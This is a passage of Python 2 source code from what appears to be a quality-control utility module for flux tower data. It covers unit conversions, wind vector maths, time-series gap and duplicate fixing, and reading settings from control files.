numpy.ma.array(old_data,copy=True,mask=True) return new_data def convert_units_co2(ds,old_data,old_units,new_units): """ Purpose: General purpose routine to convert from one set of CO2 concentration units to another. Conversions supported are: umol/m2/s to gC/m2 (per time step) gC/m2 (per time step) to umol/m2/s mg/m3 to umol/mol mgCO2/m3 to umol/mol umol/mol to mg/m3 mg/m2/s to umol/m2/s mgCO2/m2/s to umol/m2/s Usage: new_data = qcutils.convert_units_co2(ds,old_data,old_units,new_units) where ds is a data structure old_data (numpy array) is the data to be converted old_units (string) is the old units new_units (string) is the new units Author: PRI Date: January 2016 """ ts = int(ds.globalattributes["time_step"]) if old_units=="umol/m2/s" and new_units=="gC/m2": new_data = old_data*12.01*ts*60/1E6 elif old_units=="gC/m2" and new_units=="umol/m2/s": new_data = old_data*1E6/(12.01*ts*60) elif old_units in ["mg/m3","mgCO2/m3"] and new_units=="umol/mol": Ta,f,a = GetSeriesasMA(ds,"Ta") ps,f,a = GetSeriesasMA(ds,"ps") new_data = mf.co2_ppmfrommgpm3(old_data,Ta,ps) elif old_units=="umol/mol" and new_units in ["mg/m3","mgCO2/m3"]: Ta,f,a = GetSeriesasMA(ds,"Ta") ps,f,a = GetSeriesasMA(ds,"ps") new_data = mf.co2_mgpm3fromppm(old_data,Ta,ps) elif old_units in ["mg/m2/s","mgCO2/m2/s"] and new_units=="umol/m2/s": new_data = mf.Fc_umolpm2psfrommgpm2ps(old_data) else: msg = " Unrecognised conversion from "+old_units+" to "+new_units log.error(msg) new_data = numpy.ma.array(old_data,copy=True,mask=True) return new_data def convert_units_h2o(ds,old_data,old_units,new_units): """ Purpose: General purpose routine to convert from one set of H2O concentration units to another. Conversions supported are: g/m3 to mmol/mol mmol/mol to g/m3 Usage: new_data = qcutils.convert_units_h2o(ds,old_data,old_units,new_units) where ds is a data structure old_data (numpy array) is the data to be converted old_units (string) is the old units new_units (string) is the new units Author: PRI Date: January 2016 """ ts = int(ds.globalattributes["time_step"]) if old_units=="mmol/mol" and new_units=="g/m3": Ta,f,a = GetSeriesasMA(ds,"Ta") ps,f,a = GetSeriesasMA(ds,"ps") new_data = mf.h2o_gpm3frommmolpmol(old_data,Ta,ps) elif old_units=="g/m3" and new_units=="mmol/mol": Ta,f,a = GetSeriesasMA(ds,"Ta") ps,f,a = GetSeriesasMA(ds,"ps") new_data = mf.h2o_mmolpmolfromgpm3(old_data,Ta,ps) elif old_units=="frac" and new_units=="%": new_data = old_data*float(100) elif old_units=="%" and new_units=="frac": new_data = old_data/float(100) else: msg = " Unrecognised conversion from "+old_units+" to "+new_units log.error(msg) new_data = numpy.ma.array(old_data,copy=True,mask=True) return new_data def convert_units_t(ds,old_data,old_units,new_units): """ Purpose: General purpose routine to convert from one set of temperature units to another. Conversions supported are: C to K K to C Usage: new_data = qcutils.convert_units_t(ds,old_data,old_units,new_units) where ds is a data structure old_data (numpy array) is the data to be converted old_units (string) is the old units new_units (string) is the new units Author: PRI Date: January 2016 """ ts = int(ds.globalattributes["time_step"]) if old_units=="C" and new_units=="K": new_data = old_data+c.C2K elif old_units=="K" and new_units=="C": new_data = old_data-c.C2K else: msg = " Unrecognised conversion from "+old_units+" to "+new_units log.error(msg) new_data = numpy.ma.array(old_data,copy=True,mask=True) return new_data def convert_anglestring(anglestring): """ Purpose: Attempt to convert an angle string to a float. Usage: a = qcutils.convert_anglestring(astr) Acceptable input formats: astr = '''34 12' 24" S''' astr = '''34 12 24S''' astr = '''34 12'24.123"S'' astr = '''34.123 S''' astr = '''-34.123''' """ quadlist=["N","E","S","W"] direction = {'N':1, 'S':-1, 'E': 1, 'W':-1} try: # simple casting may work, who knows? return float(anglestring) except ValueError: # replace the degrees, minutes and seconds symbols with spaces new = anglestring.replace(u'\B0',' ').replace('\'',' ').replace('"',' ') # check there is a space between the quadrant letter (assumed to be one of N, E, W or S) # and the next character to the left # find out which of N, E, S, or W is in the string for item in quadlist: if item in new: quadletter=item # now get the index of this character in the string i=new.index(quadletter) # check that the next character to the left is a space character if new[i-1] != " ": new = new[0:i]+" "+new[i:] # now split the string on space characters new = new.split() # get the quadrant letter new_dir = new.pop() # make sure we have 3 parts new.extend([0,0,0]) # return with the string converted to a float return (float(new[0])+float(new[1])/60.0+float(new[2])/3600.0) * direction[new_dir] def convert_WsWdtoUV(Ws,Wd): """ Purpose: Convert wind speed and direction to U and V conponents. This routine follows the meteorological convention: - wind direction is positive going clockwise from north - U is positive towards east - V is positive towards north Usage: u,v = qcutils.convert_WsWdtoUV(Ws,Wd) Author: PRI Date: February 2015 """ u = -Ws*numpy.sin(numpy.radians(Wd)) v = -Ws*numpy.cos(numpy.radians(Wd)) return u,v def convert_UVtoWsWd(u,v): """ Purpose: Convert U and V conponents to wind speed and direction This routine follows the meteorological convention: - wind direction is positive going clockwise from north - U is positive towards east - V is positive towards north Usage: Ws,Wd = qcutils.convert_UVtoWsWd(U,V) Author: PRI Date: February 2015 """ Wd = float(270) - (numpy.degrees(numpy.arctan2(v,u))) Wd = numpy.mod(Wd,360) Ws = numpy.sqrt(u*u + v*v) return Ws,Wd def CreateSeries(ds,Label,Data,FList=None,Flag=None,Attr=None): """ Purpose: Create a series (1d array) of data in the data structure. If the series already exists in the data structure, data values and QC flags will be overwritten but attributes will be preserved. However, the long_name and units attributes are treated differently. The existing long_name will have long_name appended to it. The existing units will be overwritten with units. This utility is the prefered method for creating or updating a data series because it implements a consistent method for creating series in the data structure. Direct writes to the contents of the data structure are discouraged (unless PRI wrote the code:=P). Usage: Fsd,flag,attr = qcutils.GetSeriesasMA(ds,"Fsd") ... do something to Fsd here ... qcutils.CreateSeries(ds,"Fsd",Fsd,Flag=flag,Attr=attr) Author: PRI Date: Back in the day """ ds.series['_tmp_'] = {} # create a temporary series to avoid premature overwrites # put the data into the temporary series if numpy.ma.isMA(Data): ds.series['_tmp_']['Data'] = numpy.ma.filled(Data,float(c.missing_value)) else: ds.series['_tmp_']['Data'] = numpy.array(Data) # copy or make the QC flag if Flag is None: ds.series['_tmp_']['Flag'] = MakeQCFlag(ds,FList) else: ds.series['_tmp_']['Flag'] = Flag.astype(numpy.int32) # do the attributes ds.series['_tmp_']['Attr'] = {} if Label in ds.series.keys(): # check to see if the series already exists for attr in ds.series[Label]['Attr']: # if it does, copy the existing attributes if attr in Attr and ds.series[Label]['Attr'][attr]!=Attr[attr]: ds.series['_tmp_']['Attr'][attr] = Attr[attr] else: ds.series['_tmp_']['Attr'][attr] = ds.series[Label]['Attr'][attr] for attr in Attr: if attr not in ds.series['_tmp_']['Attr'].keys(): ds.series['_tmp_']['Attr'][attr] = Attr[attr] else: for item in Attr: ds.series['_tmp_']['Attr'][item] = Attr[item] ds.series[unicode(Label)] = ds.series['_tmp_'] # copy temporary series to new series del ds.series['_tmp_'] # delete the temporary series def CreateDatetimeRange(start,stop,step=datetime.timedelta(minutes=30)): ''' Purpose: Create a series of datetimes between the "start" and "stop" datetimes and with a time step of "step". Useage: dt = ds.series['DateTime']['Data'] ts = ds.globaleattributes['time_step'] dt_evenlyspaced = CreateDatetimeRange(dt[0],dt[-1],step=datetime.timedelta(minutes=ts))] Author: PRI Date: December 2013 ''' result = [] while start<stop: result.append(start) start = start + step return result def CreateVariableFromDictionary(ds,variable): """ Purpose: Create a variable in the data structure. If the variable already exists in the data structure, data values, QC flags and attributes will be overwritten. This utility is the prefered method for creating or updating a data series because it implements a consistent method for creating series in the data structure. Direct writes to the contents of the data structure are discouraged (unless PRI wrote the code:=P). Usage: Fsd = qcutils.GetVariableAsDict(ds,"Fsd") ... do something to Fsd here ... ... and don't forget to update the QC flag ... ... and the attributes ... qcutils.CreateVariableFromDict(ds,Fsd) Author: PRI Date: September 2016 """ label = variable["Label"] # create a temporary series to avoid premature overwrites ds.series["_tmp_"] = {} # put the data into the temporary series if numpy.ma.isMA(variable["Data"]): ds.series["_tmp_"]["Data"] = numpy.ma.filled(variable["Data"], float(c.missing_value)) else: ds.series["_tmp_"]["Data"] = numpy.array(variable["Data"]) # copy or make the QC flag ds.series["_tmp_"]["Flag"] = numpy.array(variable["Flag"]) # do the attributes ds.series["_tmp_"]["Attr"] = copy.deepcopy(variable["Attr"]) # and copy the temporary series back to the original label ds.series[unicode(label)] = copy.deepcopy(ds.series['_tmp_']) # delete the temporary series del ds.series['_tmp_'] def file_exists(filename,mode="verbose"): if not os.path.exists(filename): if mode=="verbose": log.error(' File '+filename+' not found') return False else: return True def FindIndicesOfBInA(a,b): """ Purpose: Find the indices of elements in b that also occur in a. The routine is intended for use only with lists of Python datetime values. This ensures the input series are monotonically increasing (though this is not a requirement) and contain no duplicates (which is required, or at least not handled). Limitations: Argument a is converted to a set to greatly speed the comparison of b elements with a. This means that duplicates in a will be dropped and hence only 1 index will be returned for each value in b. Usage: indices = qcutils.FindIndicesOfBInA(a,b) where a is a list of Python datetime objects b is a list of Python datetime objects indices is a list of indices in b where the elements of b also occur in a Author: PRI Date: July 2015 Comments: Replaces find_indices used up to V2.9.3. """ if len(set(a))!=len(a): msg = " FindIndicesOfBInA: first argument contains duplicate values" log.warning(msg) tmpset = set(a) indices = [i for i,item in enumerate(b) if item in tmpset] return indices def RemoveDuplicateRecords(ds): """ Remove duplicate records.""" # the ds.series["DateTime"]["Data"] series is actually a list for item in ["DateTime","DateTime_UTC"]: if item in ds.series.keys(): ldt,ldt_flag,ldt_attr = GetSeries(ds,item) # ldt_nodups is returned as an ndarray ldt_nodups,idx_nodups = numpy.unique(numpy.array(ldt),return_index=True) # now get ldt_nodups as a list ldt_nodups = ldt_nodups.tolist() # and put it back into the data structure ds.series[item]["Data"] = ldt_nodups ds.series[item]["Flag"] = ldt_flag[idx_nodups] # get a list of the series in the data structure series_list = [item for item in ds.series.keys() if '_QCFlag' not in item] # remove the DateTime for item in ["DateTime","DateTime_UTC"]: if item in series_list: series_list.remove(item) # loop over the series in the data structure for ThisOne in series_list: data_dups,flag_dups,attr = GetSeriesasMA(ds,ThisOne) data_nodups = data_dups[idx_nodups] flag_nodups = flag_dups[idx_nodups] CreateSeries(ds,ThisOne,data_nodups,Flag=flag_nodups,Attr=attr) ds.globalattributes['nc_nrecs'] = len(ds.series["DateTime"]["Data"]) def FixNonIntegralTimeSteps(ds,fixtimestepmethod=""): """ Purpose: Fix time steps that are not an integral number of the default time step. The default time step is read from the "time_step" global attribute which is read from the L1 control file and written to the L1 netCDF file. The most common cause of non-integral time steps is drift in logger time stamp or rounding errors in Excel's treatment of datetimes. Usage: FixNonIntegralTimeSteps(ds) Called By: CheckTimeStep Author: PRI Date: February 2015 To do: Implement [I]nterpolate """ ts = int(ds.globalattributes["time_step"]) ldt = ds.series["DateTime"]["Data"] dt_diffs = numpy.array([(ldt[i]-rounddttots(ldt[i],ts=ts)).total_seconds() for i in range(1,len(ldt))]) log.info(" Maximum drift is "+str(numpy.max(dt_diffs))+" seconds, minimum drift is "+str(numpy.min(dt_diffs))+" seconds") ans = fixtimestepmethod if ans=="": ans = raw_input("Do you want to [Q]uit, [I]nterploate or [R]ound? ") if ans.lower()[0]=="q": print "Quiting ..." sys.exit() if ans.lower()[0]=="i": print "Interpolation to regular time step not implemented yet ..." sys.exit() if ans.lower()[0]=="r": log.info(" Rounding to the nearest time step") ldt_rounded = [rounddttots(dt,ts=ts) for dt in ldt] rdt = numpy.array([(ldt_rounded[i]-ldt_rounded[i-1]).total_seconds() for i in range(1,len(ldt))]) log.info(" Maximum time step is now "+str(numpy.max(rdt))+" seconds, minimum time step is now "+str(numpy.min(rdt))) # replace the existing datetime series with the datetime series rounded to the nearest time step ds.series["DateTime"]["Data"] = ldt_rounded ds.globalattributes['nc_nrecs'] = len(ds.series["DateTime"]["Data"]) def FixTimeGaps(ds): """ Purpose: Fix gaps in datetime series found by CheckTimeStep. Useage: has_gaps = CheckTimeStep(ds) if has_gaps: FixTimeGaps(ds) Author: PRI Date: April 2013 Modified: September 2014 - rewrite for clarity and efficiency February 2015 - and again ... """ ts = int(ds.globalattributes["time_step"]) #ldt_gaps,ldt_flag,ldt_attr = GetSeries(ds,"DateTime") ldt_gaps = ds.series["DateTime"]["Data"] # generate a datetime list from the start datetime to the end datetime ldt_start = ldt_gaps[0] ldt_end = ldt_gaps[-1] ldt_nogaps = [result for result in perdelta(ldt_start,ldt_end,datetime.timedelta(minutes=ts))] # update the global attribute containing the number of records nRecs = len(ldt_nogaps) ds.globalattributes['nc_nrecs'] = nRecs # find the indices of the no-gap data in the original data idx_gaps = FindIndicesOfBInA(ldt_gaps,ldt_nogaps) # update the series of Python datetimes ds.series['DateTime']['Data'] = ldt_nogaps org_flag = ds.series['DateTime']['Flag'].astype(numpy.int32) ds.series['DateTime']['Flag'] = numpy.ones(nRecs,dtype=numpy.int32) ds.series['DateTime']['Flag'][idx_gaps] = org_flag # get a list of series in the data structure series_list = [item for item in ds.series.keys() if '_QCFlag' not in item] # remove the datetime-related series from data structure datetime_list = ["DateTime","DateTime_UTC"] for item in datetime_list: if item in series_list: series_list.remove(item) # now loop over the rest of the series in the data structure for ThisOne in series_list: data_nogaps = numpy.ones(nRecs,dtype=numpy.float64)*float(-9999) flag_nogaps = numpy.ones(nRecs,dtype=numpy.int32) data_gaps,flag_gaps,attr = GetSeriesasMA(ds,ThisOne) data_nogaps[idx_gaps] = data_gaps flag_nogaps[idx_gaps] = flag_gaps CreateSeries(ds,ThisOne,data_nogaps,Flag=flag_nogaps,Attr=attr) def FixTimeStep(ds,fixtimestepmethod="round"): """ Purpose: Fix problems with the time stamp. Useage: qcutils.FixTimeStep(ds,fixtimestepmethod=fixtimestepmethod) Author: PRI Date: April 2013 Modified: February 2015 - split check and fix functions into different routines """ # get the number of records nRecs = int(ds.globalattributes["nc_nrecs"]) # get the time step ts = int(ds.globalattributes["time_step"]) # time step between records in seconds dt = get_timestep(ds) dtmin = numpy.min(dt) dtmax = numpy.max(dt) if dtmin < ts*60: # duplicate or overlapping times found log.info(' FixTimeStep: duplicate or overlapping times found, removing ...') RemoveDuplicateRecords(ds) dt = get_timestep(ds) dtmin = numpy.min(dt) dtmax = numpy.max(dt) #log.info("After RemoveDuplicateRecords:"+str(dtmin)+" "+str(dtmax)) if numpy.min(numpy.mod(dt,ts*60))!=0 or numpy.max(numpy.mod(dt,ts*60))!=0: # non-integral time steps found # indices of elements where time step not equal to default index = numpy.where(numpy.min(numpy.mod(dt,ts*60))!=0 or numpy.max(numpy.mod(dt,ts*60))!=0)[0] log.info(" FixTimeStep: Non-integral time steps found "+str(len(index))+" times out of "+str(nRecs)) log.info(" FixTimeStep: Maximum time step was "+str(numpy.max(dt))+" seconds, minimum time step was "+str(numpy.min(dt))) FixNonIntegralTimeSteps(ds,fixtimestepmethod=fixtimestepmethod) dt = get_timestep(ds) dtmin = numpy.min(dt) dtmax = numpy.max(dt) #log.info("After FixNonIntegralTimeSteps:"+str(dtmin)+" "+str(dtmax)) if dtmax > ts*60: # time gaps found log.info(' FixTimeStep: one or more time gaps found, inserting times ...') FixTimeGaps(ds) dt = get_timestep(ds) dtmin = numpy.min(dt) dtmax = numpy.max(dt) #log.info("After FixTimeGaps: "+str(dtmin)+" "+str(dtmax)) def GetAverageSeriesKeys(cf,ThisOne): if incf(cf,ThisOne) and haskey(cf,ThisOne,'AverageSeries'): if 'Source' in cf['Variables'][ThisOne]['AverageSeries'].keys(): alist = ast.literal_eval(cf['Variables'][ThisOne]['AverageSeries']['Source']) else: log.error(' GetAverageSeriesKeys: key "Source" not in control file AverageSeries section for '+ThisOne) alist = [] if 'standard_name' in cf['Variables'][ThisOne]['AverageSeries'].keys(): standardname = str(cf['Variables'][ThisOne]['AverageSeries']['standard_name']) else: standardname = "not defined" else: standardname = "not defined" log.info(' GetAverageSeriesKeys: '+ThisOne+ ' not in control file or it does not have the "AverageSeries" key') alist = [] return alist, standardname def GetAltName(cf,ds,ThisOne): ''' Check to see if the specified variable name is in the data structure (ds). If it is, return the variable name unchanged. If it isn't, check the control file to see if an alternate name has been specified and return the alternate name if one exists. ''' if ThisOne not in ds.series.keys(): if ThisOne in cf['Variables'].keys(): ThisOne = cf['Variables'][ThisOne]['AltVarName'] if ThisOne not in ds.series.keys(): log.error('GetAltName: alternate variable name not in ds') else: log.error('GetAltName: cant find ',ThisOne,' in ds or control file') return ThisOne def GetAltNameFromCF(cf,ThisOne): ''' Get an alternate variable name from the control file. ''' if ThisOne in cf['Variables'].keys(): if 'AltVarName' in cf['Variables'][ThisOne].keys(): ThisOne = str(cf['Variables'][ThisOne]['AltVarName']) else: print 'GetAltNameFromCF: AltVarName key not in control file for '+str(ThisOne) else: print 'GetAltNameFromCF: '+str(ThisOne)+' not in control file' return ThisOne def GetAttributeDictionary(ds,ThisOne): attr = {} # if series ThisOne is in the data structure if ThisOne in ds.series.keys(): attr = ds.series[ThisOne]['Attr'] else: attr = MakeAttributeDictionary() return copy.deepcopy(attr) def GetcbTicksFromCF(cf,ThisOne): ''' Get colour bar tick labels from the control file. ''' if ThisOne in cf['Variables'].keys(): if 'Ticks' in cf['Variables'][ThisOne].keys(): Ticks = eval(cf['Variables'][ThisOne]['Ticks']) else: print 'GetcbTicksFromCF: Ticks key not in control file for '+str(ThisOne) else: print 'GetcbTicksFromCF: '+str(ThisOne)+' not in control file' return Ticks def GetRangesFromCF(cf,ThisOne,mode="verbose"): ''' Get lower and upper range limits from the control file. ''' if ThisOne in cf['Variables'].keys(): if 'Lower' in cf['Variables'][ThisOne].keys(): lower = float(cf['Variables'][ThisOne]['Lower']) else: if mode.lower()!="quiet": msg = "GetRangesFromCF: Lower key not in control file for "+str(ThisOne) log.info(msg) lower = None if 'Upper' in cf['Variables'][ThisOne].keys(): upper = float(cf['Variables'][ThisOne]['Upper']) else: if mode.lower()!="quiet": msg = "GetRangesFromCF: Upper key not in control file for "+str(ThisOne) log.info(msg) upper = None else: if mode.lower()!="quiet": msg = "GetRangesFromCF: "+str(ThisOne)+" not in control file" log.info(msg) lower, upper = None return lower, upper def GetDateIndex(dts,date,ts=30,default=0,match='exact'): """ Purpose: Return the index of a date/datetime string in an array of datetime objects Usage: si = qcutils.GetDateIndex(datetimeseries,date_str,ts=30,default=0,match='exact') where dts - array of datetime objects date_str - a date or date/time string in a format dateutils can parse ts - time step for the data, optional (integer) default - default value, optional (integer) match - type of match (string) options are: "exact" - finds the specified datetime and returns the index "startnextday" - returns the index of the first time period in the next day "endpreviousday" - returns the index of the last time period in the previous day "startnexthour" - returns the index of the first time period in the next hour "endprevioushour" - returns the index of the last time period in the previous hour "startnextmonth" - returns the index of the first time period in the next month "endpreviousmonth" - returns the index of the last time period in the previous month NOTE: "startnextday" and "endpreviousday" can be used to pick out time periods with an integer number of days Author: PRI Date: Back in the day """ try: if len(date)!=0: i = dts.index(dateutil.parser.parse(date)) else: if default==-1: i = len(dts)-1 else: i = default except ValueError: if default==-1: i = len(dts)-1 else: i = default if match=="exact": # if an exact match is required, do nothing pass elif match=="startnextmonth": # get to the start of the next day while abs(dts[i].hour+float(dts[i].minute)/60-float(ts)/60)>c.eps: i = i + 1 while dts[i].day!=1: i = i + int(float(24)/(float(ts)/60)) elif match=='startnextday': while abs(dts[i].hour+float(dts[i].minute)/60-float(ts)/60)>c.eps: i = i + 1 elif match=="startnexthour": # check the time step value if int(ts)!=60: # if the time step is 60 then it is always the start of the next hour # we assume here that the time period ends on the datetime stamp while dts[i].minute!=ts: # iterate until the minutes equal the time step i = i + 1 elif match=='endpreviousmonth': while abs(dts[i].hour+float(dts[i].minute)/60)>c.eps: i = i - 1 while dts[i].day!=1: i = i - int(float(24)/(float(ts)/60)) elif match=='endpreviousday': while abs(dts[i].hour+float(dts[i].minute)/60)>c.eps: i = i - 1 elif match=="endprevioushour": # check the time step value if int(ts)!=60: # if the time step is 60 then it is always the end of the previous hour # we assume here that the time period ends on the datetime stamp while dts[i].minute!=0: # iterate until the minutes equal 0 i = i - 1 else: log.error("GetDateIndex: Unrecognised match option") return i def GetGlobalAttributeValue(cf,ds,ThisOne): if ThisOne not in ds.globalattributes.keys(): if ThisOne in cf['General'].keys(): ds.globalattributes[ThisOne] = cf['General'][ThisOne] else: log.error(' GetGlobalAttributeValue: global attribute '+ThisOne+' was not found in the netCDF file or in the control file') ds.globalattributes[ThisOne] = None return ds.globalattributes[ThisOne] def GetMergeSeriesKeys(cf,ThisOne,section=''): if len(section)==0: section = 'Variables' if 'Source' in cf[section][ThisOne]['MergeSeries'].keys(): mlist = ast.literal_eval(cf[section][ThisOne]['MergeSeries']['Source']) else: log.error(' GetMergeSeriesKeys: key "Source" not in control file MergeSeries section for '+ThisOne) mlist = [] if 'standard_name' in cf[section][ThisOne]['MergeSeries'].keys(): standardname = str(cf[section][ThisOne]['MergeSeries']['standard_name']) else: standardname = 'not defined' return mlist, standardname def GetPlotTitleFromCF(cf, nFig): if 'Plots' in cf: if str(nFig) in cf['Plots']: if 'Title' in cf['Plots'][str(nFig)]: Title = str(cf['Plots'][str(nFig)]['Title']) else: print 'GetPlotTitleFromCF: Variables key not in control file for plot '+str(nFig) else: print 'GetPlotTitleFromCF: '+str(nFig)+' key not in Plots section of control file' else: print 'GetPlotTitleFromCF: Plots key not in control file' return Title def GetPlotVariableNamesFromCF(cf, n): if 'Plots' in cf: if str(n) in cf['Plots']: if 'Variables' in cf['Plots'][str(n)]: SeriesList = eval(cf['Plots'][str(n)]['Variables']) else: print 'GetPlotVariableNamesFromCF: Variables key not in control file for plot '+str(n) else: print 'GetPlotVariableNamesFromCF: '+str(n)+' key not in Plots section of control file' else: print 'GetPlotVariableNamesFromCF: Plots key not in control file' return SeriesList def GetSeries(ds,ThisOne,si=0,ei=-1,mode="truncate"): """ Returns the data, QC flag and attributes of a series from the data structure.""" # number of records if "nc_nrecs" in ds.globalattributes: nRecs = int(ds.globalattributes["nc_nrecs"]) else: nRecs = len(ds.series[ThisOne]["Data"]) # check the series requested is in the data structure if ThisOne in ds.series.keys(): # series is in the data structure if isinstance(ds.series[ThisOne]['Data'],list): # return a list if the series is a list Series = list(ds.series[ThisOne]['Data']) elif isinstance(ds.series[ThisOne]['Data'],numpy.ndarray): # return a numpy array if series is an array Series = ds.series[ThisOne]['Data'].copy() # now get the QC flag if 'Flag' in ds.series[ThisOne].keys(): # return the QC flag if it exists Flag = ds.series[ThisOne]['Flag'].copy() else: # create a QC flag if one does not exist Flag = numpy.zeros(nRecs,dtype=numpy.int32) # now get the attribute dictionary if "Attr" in ds.series[ThisOne].keys(): Attr = GetAttributeDictionary(ds,ThisOne) else: Attr = MakeAttributeDictionary() else: # make an empty series if the requested series does not exist in the data structure Series,Flag,Attr = MakeEmptySeries(ds,ThisOne) # tidy up if ei==-1: ei = nRecs - 1 if mode=="truncate": # truncate to the requested start and end indices si = max(0,si) # clip start index at 0 ei = min(nRecs,ei) # clip end index to nRecs Series = Series[si:ei+1] # truncate the data Flag = Flag[si:ei+1] # truncate the QC flag elif mode=="pad": # pad with missing data at the start and/or the end of the series if si<0 and ei>nRecs-1: # pad at the start Series = numpy.append(float(c.missing_value)*numpy.ones(abs(si),dtype=numpy.float64),Series) Flag = numpy.append(numpy.ones(abs(si),dtype=numpy.int32),Flag) # pad at the end Series = numpy.append(Series,float(c.missing_value)*numpy.ones((ei-(nRecs-1)),dtype=numpy.float64)) Flag = numpy.append(Flag,numpy.ones((ei-(nRecs-1)),dtype=numpy.int32)) elif si<0 and ei<=nRecs-1: # pad at the start, truncate the end Series = numpy.append(float(c.missing_value)*numpy.ones(abs(si),dtype=numpy.float64),Series[:ei+1]) Flag = numpy.append(numpy.ones(abs(si),dtype=numpy.int32),Flag[:ei+1]) elif si>=0 and ei>nRecs-1: # truncate at the start, pad at the end Series = numpy.append(Series[si:],float(c.missing_value)*numpy.ones((ei-(nRecs-1)),numpy.float64)) Flag = numpy.append(Flag[si:],numpy.ones((ei-(nRecs-1)),dtype=numpy.int32)) elif si>=0 and ei<=nRecs-1: # truncate at the start and end Series = Series[si:ei+1] Flag = Flag[si:ei+1] else: msg = 'GetSeries: unrecognised combination of si ('+str(si)+') and ei ('+str(ei)+')' raise ValueError(msg) elif mode=="mirror": # reflect data about end boundaries if si or ei are out of bounds if si<0 and ei>nRecs-1: # mirror at the start Series = numpy.append(numpy.fliplr([Series[1:abs(si)+1]])[0],Series) Flag = numpy.append(numpy.fliplr([Flag[1:abs(si)+1]])[0],Flag) # mirror at the end sim = 2*nRecs-1-ei eim = nRecs-1 Series = numpy.append(Series,numpy.fliplr([Series[sim:eim]])[0]) Flag = numpy.append(Flag,numpy.fliplr([Flag[sim:eim]])[0]) elif si<0 and ei<=nRecs-1: # mirror at start, truncate at end Series = numpy.append(numpy.fliplr([Series[1:abs(si)+1]])[0],Series[:ei+1]) Flag = numpy.append(numpy.fliplr([Flag[1:abs(si)+1]])[0],Flag[:ei+1]) elif si>=0 and ei>nRecs-1: # truncate at start, mirror at end sim = 2*nRecs-1-ei eim = nRecs Series = numpy.append(Series[si:],numpy.fliplr([Series[sim:eim]])[0]) Flag = numpy.append(Flag[si:],numpy.fliplr([Flag[sim:eim]])[0]) elif si>=0 and ei<=nRecs-1: # truncate at the start and end Series = Series[si:ei+1] Flag = Flag[si:ei+1] else: msg = 'GetSeries: unrecognised combination of si ('+str(si)+') and ei ('+str(ei)+')' raise ValueError(msg) else: raise ValueError("GetSeries: unrecognised mode option "+str(mode)) return Series,Flag,Attr def MakeEmptySeries(ds,ThisOne): nRecs = int(ds.globalattributes['nc_nrecs']) Series = float(c.missing_value)*numpy.ones(nRecs,dtype=numpy.float64) Flag = numpy.ones(nRecs,dtype=numpy.int32) Attr = MakeAttributeDictionary() return Series,Flag,Attr def GetSeriesasMA(ds,ThisOne,si=0,ei=-1,mode="truncate"): """ Purpose: Returns a data series and the QC flag series from the data structure. Usage: data,flag,attr = qcutils.GetSeriesasMA(ds,label,si=0,ei=-1) where the arguments are; ds - the data structure (dict) label - label of the data series in ds (string) si - start index (integer), default 0 ei - end index (integer), default -1 and the returned values are; data - values for the requested series in ds (numpy masked array, float64) flag - QC flag for the requested series in ds (numpy masked array, int32) attr - attribute dictionary for series Example: The code snippet below will return the incoming shortwave data values (Fsd) and the associated QC flag (f) as numpy masked arrays; ds = qcio.nc_read_series("HowardSprings_2011_L3.nc") Fsd,f,a = qcutils.GetSeriesasMA(ds,"Fsd") Author: PRI """ Series,Flag,Attr = GetSeries(ds,ThisOne,si=si,ei=ei,mode=mode) Series,WasND = SeriestoMA(Series) return Series,Flag,Attr def GetVariableAsDictionary(ds,label,si=0,ei=-1,mode="truncate"): """ Purpose: Returns a data variable from the data structure as a dictionary. Usage: data,flag,attr = qcutils.GetSeriesasMA(ds,label,si=0,ei=-1) where the arguments are; ds - the data structure (dict) label - label of the data variable in ds (string) si - start index (integer), default 0 ei - end index (integer), default -1 and the returned values are; The data are returned as a dictionary; variable["label"] - variable label in data structure variable["data"] - numpy float64 masked array containing data variable["flag"] - numpy int32 array containing QC flags variable["attr"] - dictionary of variable attributes Example: The code snippet below will return the incoming shortwave data values (Fsd), the associated QC flag and the variable attributes; ds = qcio.nc_read_series("HowardSprings_2011_L3.nc") Fsd = qcutils.GetSeriesAsDict(ds,"Fsd") Author: PRI """ ldt,flag,attr = GetSeries(ds,"DateTime",si=si,ei=ei,mode=mode) data,flag,attr = GetSeries(ds,label,si=si,ei=ei,mode=mode) data,WasND = SeriestoMA(data) variable = {"Label":label,"Data":data,"Flag":flag,"Attr":attr,"DateTime":numpy.array(ldt)} return variable def GetUnitsFromds(ds, ThisOne): units = ds.series[ThisOne]['Attr']['units'] return units def get_cfsection(cf,series='',mode='quiet'): ''' Find the section in the control file that contains an entry for the series "series". USEAGE: section = qcutils.get_cfsection(cf,series=<series_name>) INPUT: cf - a control file object (from ConfigObj) <series_name> - the name of the series (string) RETURNS: section - the name of the section containing an entry for <series_name> (string) Note that the returned section name is an empty string if there is no entry for <series_name> in the control file. ''' section = '' sectionlist = ['Variables','Drivers','Fluxes','Respiration','Partition','ER','GPP','NEE'] if len(series)==0: msgtxt = ' get_cfsection: no input series specified' if mode!='quiet': log.info(msgtxt) return section for ThisSection in sectionlist: if ThisSection in cf.keys(): if series in cf[ThisSection]: section = ThisSection if len(section)==0: msgtxt = ' get_cfsection: series '+str(series)+' not found in control file' if mode!='quiet': log.info(msgtxt) return section def get_coverage_groups(ds,rad=None,met=None,flux=None,soil=None): level = "L1" if "nc_level" in ds.globalattributes: level = str(ds.globalattributes["nc_level"]) rad = ['Fsd','Fsu','Fld','Flu','Fn'] met = ['Ah','Cc','Precip','ps','Ta','Ws','Wd'] flux = ['Fm','ustar','Fh','Fe','Fc'] soil = ['Fg','Ts','Sws'] for ThisGroup, ThisLabel in zip([rad,met,flux,soil],['radiation','meteorology','flux','soil']): sum_coverage = float(0); count = float(0) for ThisOne in ThisGroup: if ThisOne in ds.series.keys(): sum_coverage = sum_coverage + float(ds.series[ThisOne]['Attr']['coverage_'+level]) count = count + 1 if count!=0: coverage_group = sum_coverage/count else: coverage_group = 0 ds.globalattributes['coverage_'+ThisLabel+'_'+level] = str('%d'%coverage_group) def get_coverage_individual(ds): level = "L1" if "nc_level" in ds.globalattributes: level = str(ds.globalattributes["nc_level"]) SeriesList = ds.series.keys() for ThisOne in ["DateTime","DateTime_UTC"]: if ThisOne in SeriesList: SeriesList.remove(ThisOne) for ThisOne in SeriesList: num_good = len(numpy.where(abs(ds.series[ThisOne]['Data']-float(c.missing_value))>c.eps)[0]) coverage = 100*float(num_good)/float(ds.globalattributes['nc_nrecs']) ds.series[ThisOne]['Attr']['coverage_'+level] = str('%d'%coverage) def get_datetimefromnctime(ds,time,time_units): """ Purpose: Create a series of datetime objects from the time read from a netCDF file. Usage: qcutils.get_datetimefromnctime(ds,time,time_units) Side effects: Creates a 